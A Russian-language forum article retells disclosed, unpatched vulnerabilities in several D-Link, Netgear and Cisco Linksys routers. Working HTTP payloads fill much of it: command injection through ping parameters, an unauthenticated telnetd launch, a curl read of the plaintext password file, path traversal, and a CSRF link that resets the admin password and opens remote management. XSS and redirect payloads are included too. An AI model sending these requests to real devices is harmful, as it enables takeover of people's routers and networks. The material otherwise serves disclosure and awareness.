1. Do you speak English? Use the English version of the site! Link
    Скрыть объявление
Скрыть объявление
Здравствуй гость! После регистрации на ресурсе, ты сможешь скачивать материалы с форума и участвовать в его жизни! Для регистрации откройте соответствующую форму или нажмите на эту ссылку.

Уязвимости нулевого дня в роутерах

Тема в разделе "Статьи", создана пользователем AnGel, 02.10.2015.

Метки:
  1. AnGel

    AnGel Администратор
    Команда форума

    Дек 06 2016 в 01:26
    Регистрация:
    27.08.2015
    Сообщения:
    1.784
    Симпатии:
    1.301
    Похоже, начало года не задалось для производителей роутеров. Буквально сегодня я сообщал о Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!, связанных с небезопасной обработкой протокола UPnP. И вот ещё одна новость на эту же тему. На сей раз уязвимости совершенно разные. Затронуто оборудование:

    • D-Link DIR-615, DIR-600 и DIR-300 (rev B)
    • Netgear DGN1000B
    • Cisco Linksys E1500/E2500
    • Netgear SPH200D


    Уязвимости довольно различны, но их объединяет несколько фактов: один автор и нежелание вендора выпускать патч (если верить автору).

    Утверждается что проблема в ревизии H1, прошивки версии 8.04 от 4 сентября 2012 и 8.04 от 18 января 2013. Правда, я не смог найти эти версии на Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!.

    Выполнение произвольных команд ОС роутера


    Авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре ping_ipaddr

    Пример:
    Код:
    http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=
    
    http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60uname%20-a%60&ping6_ipaddr=
    ответ на команду приходит в теле HTTP-ответа:
    Код:
    HTTP/1.0 200 OK
    Pragma: no-cache
    Content-Type: text/html
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <script type="text/javascript" src="common.js.htm"></script>
    <script language="javascript">
    CommJs({init:INC_COMM_PAGE,group:PAGE_GROUP_TOOLS});
    var pingResult="Domain";
    var pingip="ipv4_1.1.1.1Linux DIR-615 2.6.21 #2 Fri Jan 18 16:42:24 CST 2013 mips unknown"; <<==
    var vctinfo= [
    {ethport:'0', status:'0', rate:'0', dup:'0'},
    {ethport:'1', status:'0', rate:'0', dup:'0'},
    {ethport:'2', status:'0', rate:'0', dup:'0'},
    Может, кто спросит: «В чём же уязвимость, если авторизованному пользователю только это возможно»? Объясню: злоумышленник может воспользоваться социальной инженерией и кинуть владельцу роутера специально сформированную ссылку.

    Раскрытие информации

    GET-запрос на адрес вида
    Код:
    http://IP_роутера/gconfig.htm
    вернёт нам:
    Код:
    var ModelName = 'DIR-615'; var systemName='DLINK-DIR615'; var FunctionList = {HAS_PRIORITY_WEB_ACCOUNT:1,PRIORITY_WEB_ACCOUNT_NUM:1,HAS_IPV6_AUTO_CONFIG:1,DHCPD_HAS_OPTION_66:1,SUPPORT_WPS_DISABLE_PINCODE:1,SUPPORT_IPV6_DSLITE:1,HAS_IPV6_6RD:0,NON_USED:0} 
    Изменение пароля без ввода старого


    Достаточно послать GET-запрос с таким содержимым:
    Код:
    http://IP_роутера/tools_admin.htm?page=tools_admin&admin_password1=admin2&admin_password2=admin2&hostname=DIR-615
    Представители D-Link были оповещены о проблемах в безопасности, но заявили, что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.

    DIR-300 — уязвимы версии:
    • 2.12 от 18.01.2012
    • 2.13 от 07.11.2012


    DIR-600 — уязвимы версии:
    • 2.12b02 от 17/01/2012
    • 2.13b01 от 07/11/2012
    • 2.14b01 от 22/01/2013


    Выполнение произвольных команд ОС роутера


    Не авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре cmd

    Пример — запуск сервера telnetd
    Код:
    Request:
    POST /command.php HTTP/1.1
    Host: 192.168.178.222
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: http://192.168.178.222/
    Content-Length: 15
    Cookie: uid=hfaiGzkB4z
    Pragma: no-cache
    Cache-Control: no-cache
    
    cmd=telnetd;
    Небезопасное хранение чувствительной информации


    Пароли на устройстве хранятся в открытом виде, без хеширования:
    Код:
    # cat var/passwd
    "admin" "test" "0"
    Просмотреть текущий пароль пользователя возможно вот так:
    Код:
    root@bt:~# curl --data "cmd=cat /var/passwd" http://<Target IP>/command.php
    "admin" "THESECRETPASS" "0"
    Раскрытие информации


    Запрос вида:
    Код:
    http://Target-IP/DevInfo.txt
    вернёт нам:
    Код:
    HTTP/1.1 200 OK
    Server: Linux, HTTP/1.1, DIR-600 Ver 2.14
    Date: Fri, 31 Dec 1999 18:04:13 GMT
    Content-Length: 267
    
    Firmware External Version: V2.14
    Firmware Internal Version: d1mg
    Model Name: DIR-600
    Hardware Version: Bx
    WLAN Domain: 826
    Kernel: 2.6.33.2
    Language: en
    Graphcal Authentication: Disable
    LAN MAC: <snip>
    WAN MAC: <snip>
    WLAN MAC: <snip>
    Представители D-Link были оповещены о проблемах в безопасности, но заявили, что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.

    Уязвимые версии прошивок:

    Firmware Version: 1.0.4.80
    Kernel Version: 4.1-18
    Web Server Version: 1.5
    Чтение файлов на устройстве


    Авторизованный пользователь может читать файлы на устройстве
    Код:
    http://IP_роутера/../../etc/passwd
    вернёт ответ вида:
    Код:
    HTTP/1.0 200 OK
    Content-type: text/plain
    Expires: Sat, 24 May 1980.7:00:00.GMT
    Pragma: no-cache
    Server: simple httpd 1.0
    
    root:x:0:0:root:/root:/bin/bash
    demo:x:5000:100:Demo User:/home/demo:/bin/bash
    nobody:x:65534:65534:Nobody:/htdocs:/bin/bash
    аналогично происходит чтение каталогов:
    Код:
    /../../var/
    
    HTTP/1.0 200 OK
    Content-type: text/html
    Expires: Sat, 24 May 1980.7:00:00.GMT
    Pragma: no-cache
    Server: simple httpd 1.0
    
    <H1>Index of ../../var/</H1>
    
    <p><a href="/../../var/.">.</a></p>
    <p><a href="/../../var/..">..</a></p>
    <p><a href="/../../var/.Skype">.Skype</a></p>
    <p><a href="/../../var/jffs2">jffs2</a></p>
    <p><a href="/../../var/htdocs">htdocs</a></p>
    <p><a href="/../../var/cnxt">cnxt</a></p>
    <p><a href="/../../var/ppp">ppp</a></p>
    <p><a href="/../../var/conf">conf</a></p>
    <p><a href="/../../var/bin">bin</a></p>
    <p><a href="/../../var/usr">usr</a></p>
    <p><a href="/../../var/tmp">tmp</a></p>
    Но т.к. необходимо быть авторизованным на устройстве и необходимо получить ответ на запрос — не совсем ясно каким образом злоумышленник может этим воспользоваться

    Межсайтовый скриптинг
    766116e0da8f76cf6577359c381a8c29.png
    Наличие «заводского» аккаунта


    По-умолчанию, на устройстве существует аккаунт с логином: паролем service:service. Я так понимаю нет возможности его поменять предоставляемыми штатными средствами.

    Производитель был уведомлён о проблемах безопасности в августе 2012, но не отреагировал.

    Уязвимые версии прошивок:
    e1500:
    • v1.0.00 — build 9 -февраль 17, 2011
    • v1.0.04 — build 2 — март 8, 2012
    • v1.0.05 — build 1 — август 23, 2012


    e2500
    • v1.0.03


    Выполнение произвольных команд ОС роутера


    Авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре ping_size

    Пример:
    Код:
    http://192.168.178.199/apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26COMMAND%26&ping_times=5&traceroute_ip=
    Раскрытие директорий


    Пример:
    Код:
    POST /apply.cgi HTTP/1.1
    Host: 192.168.178.199
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Referer: http://192.168.178.199/Wireless_Basic.asp
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 75
    
    submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version
    Придёт ответ вида:
    Код:
    HTTP/1.1 200 Ok
    Server: httpd
    Date: Thu, 01 Jan 1970 00:00:29 GMT
    Cache-Control: no-cache
    Pragma: no-cache
    Expires: 0
    Content-Type: text/html
    Connection: close
    
    Linux version 2.6.22 (cjc@t.sw3) (gcc version 4.2.3) #10 Thu Aug 23 11:16:42 HKT 2012
    Изменение пароля без ввода старого


    Авторизованный пользователь может поменять пароль, отправив специально сформированный POST-запрос на устройство:

    Код:
    POST /apply.cgi HTTP/1.1
    Host: 192.168.1.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Referer: http://192.168.1.1/Management.asp
    Authorization: Basic xxxx
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 311
    
    submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0 
    CSRF-атака для смены пароля:
    Код:
    http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=password1&http_passwdConfirm=password1&_http_enable=1&web_wl_filter=0&remote_management=1&_remote_mgt_https=1&remote_upgrade=0&remote_ip_any=1&http_wanport=8080&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0
    Межсайтовый скриптинг
    Код:
    POST /apply.cgi HTTP/1.1
    Host: 192.168.178.199
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Referer: http://192.168.178.199/Wireless_Basic.asp
    Authorization: Basic xxxx
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 300
    
    submit_button=Wireless_Basic&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3'%3balert('pwnd')//&guest_ssid=Cisco-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco&_wl0_nbw=20&_wl0_channel=0&closed_24g=0
    Редирект на другой сайт
    Код:
    POST /apply.cgi HTTP/1.1
    Host: 192.168.178.199
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Referer: http://192.168.178.199/Wireless_Basic.asp
    Authorization: Basic xxxx
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 290
    
    submit_button=http://www.pwnd.pwnd%0a&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3&guest_ssid=Cisco01589-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco01589&_wl0_nbw=20&_wl0_channel=0&closed_24g=0

    Готовые эксплоиты можно скачать тут: Ссылки могут видеть только зарегистрированные пользователи. Зарегистрируйтесь или авторизуйтесь для просмотра ссылок!